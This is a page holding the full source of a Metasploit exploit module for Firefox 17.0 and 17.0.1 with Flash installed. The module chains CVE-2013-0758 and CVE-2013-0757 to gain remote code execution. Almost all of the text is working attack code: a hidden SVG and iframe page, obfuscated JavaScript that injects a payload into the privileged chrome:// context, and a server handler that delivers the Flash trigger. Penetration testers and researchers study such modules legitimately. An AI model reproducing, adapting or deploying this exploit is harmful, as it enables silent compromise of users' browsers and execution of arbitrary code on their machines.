Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)

Related Vulnerabilities: CVE-2013-0758   CVE-2013-0757  
Publish Date: 08 Jan 2013
Author: Metasploit
                							

                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  # include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  # autopwn_info({
  #   :ua_name    =&gt; HttpClients::FF,
  #   :ua_minver  =&gt; "17.0",
  #   :ua_maxver  =&gt; "17.0.1",
  #   :javascript =&gt; true,
  #   :rank       =&gt; NormalRanking
  # })

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Firefox 17.0.1 Flash Privileged Code Injection',
      'Description'    =&gt; %q{
        This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
        the user has installed Flash. No memory corruption is used.
        First, a Flash object is cloned into the anonymous content of the SVG
        "use" element in the &lt;body&gt; (CVE-2013-0758). From there, the Flash object
        can navigate a child frame to a URL in the chrome:// scheme.
        Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
        around the child frame's window reference and inject code into the chrome://
        context. Once we have injection into the chrome execution context, we can write
        the payload to disk, chmod it (if posix), and then execute.
        Note: Flash is used here to trigger the exploit but any Firefox plugin
        with script access should be able to trigger it.
      },
      'License'        =&gt; MSF_LICENSE,
      'Targets' =&gt; [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' =&gt; 'firefox',
            'Arch' =&gt; ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' =&gt; %w{ java linux osx solaris win },
            'Arch'     =&gt; ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' =&gt; 0,
      'Author'         =&gt;
        [
          'Marius Mlynski', # discovery &amp; bug report
          'joev',           # metasploit module
          'sinn3r'          # metasploit fu
        ],
      'References'     =&gt;
        [
          ['CVE', '2013-0758'],  # navigate a frame to a chrome:// URL
          ['CVE', '2013-0757'],  # bypass Chrome Object Wrapper to talk to chrome://
          ['OSVDB', '89019'],  # maps to CVE 2013-0757
          ['OSVDB', '89020'],  # maps to CVE 2013-0758
          ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
        ],
      'DisclosureDate' =&gt; 'Jan 08 2013',
      'BrowserRequirements' =&gt; {
        :source  =&gt; 'script',
        :ua_name =&gt; HttpClients::FF,
        :ua_ver  =&gt; /17\..*/,
        :flash   =&gt; /[\d.]+/
      }
    ))

    register_options(
      [
        OptString.new('CONTENT', [ false, "Content to display inside the HTML &lt;body&gt;.", '' ] ),
        OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
      ], Auxiliary::Timed)

  end

  def on_request_exploit(cli, request, info)
    if request.uri =~ /\.swf$/
      # send Flash .swf for navigating the frame to chrome://
      print_status("Sending .swf trigger.")
      send_response(cli, flash_trigger, { 'Content-Type' =&gt; 'application/x-shockwave-flash' })
    else
      # send initial HTML page
      print_status("Target selected: #{target.name}")
      print_status("Sending #{self.name}")
      send_response_html(cli, generate_html(cli, target))
    end
  end

  # @return [String] the contents of the .swf file used to trigger the exploit
  def flash_trigger
    swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
    @flash_trigger ||= File.read(swf_path)
  end

  # @return [String] containing javascript that will alert a debug string
  #   if the DEBUG is set to true
  def js_debug(str, quote="'")
    if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
  end

  # @return [String] HTML that is sent in the first response to the client
  def generate_html(cli, target)
    vars = {
      :symbol_id        =&gt; 'a',
      :random_domain    =&gt; 'safe',
      :payload          =&gt; run_payload, # defined in FirefoxPrivilegeEscalation mixin
      :payload_var      =&gt; 'c',
      :payload_key      =&gt; 'k',
      :payload_obj_var  =&gt; 'payload_obj',
      :interval_var     =&gt; 'itvl',
      :access_string    =&gt; 'access',
      :frame_ref        =&gt; 'frames[0]',
      :frame_name       =&gt; 'n',
      :loader_path      =&gt; "#{get_module_uri}.swf",
      :content          =&gt; self.datastore['CONTENT'] || ''
    }
    script = js_obfuscate %Q|
      var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] =&gt; vars[:payload]})};
      var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
      function $() {
        document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
      }
      function _() {
        return '#{vars[:frame_name]}';
      }
      var #{vars[:interval_var]} = setInterval(function(){
        try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
        catch(e){
          clearInterval(#{vars[:interval_var]});
          var p = Object.getPrototypeOf(#{vars[:frame_ref]});
          var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
          Object.prototype.__lookupSetter__("__proto__").call(p, o);
          p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
        }
      }, 100);
      document.querySelector('object').data = "#{vars[:loader_path]}";
      document.querySelector('use').setAttributeNS(
        "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
      );
    |

    %Q|
      &lt;!doctype html&gt;
      &lt;html&gt;
      &lt;head&gt;
        &lt;base href="chrome://browser/content/"&gt;
      &lt;/head&gt;
      &lt;body&gt;
      &lt;svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'&gt;
        &lt;symbol id="#{vars[:symbol_id]}"&gt;
          &lt;foreignObject&gt;
            &lt;object&gt;&lt;/object&gt;
          &lt;/foreignObject&gt;
        &lt;/symbol&gt;
        &lt;use /&gt;
      &lt;/svg&gt;
      &lt;script&gt;
      #{script}
      &lt;/script&gt;
      &lt;iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
        name="#{vars[:frame_name]}"&gt;&lt;/iframe&gt;
      #{vars[:content]}
      &lt;/body&gt;
      &lt;/html&gt;
      |
  end
end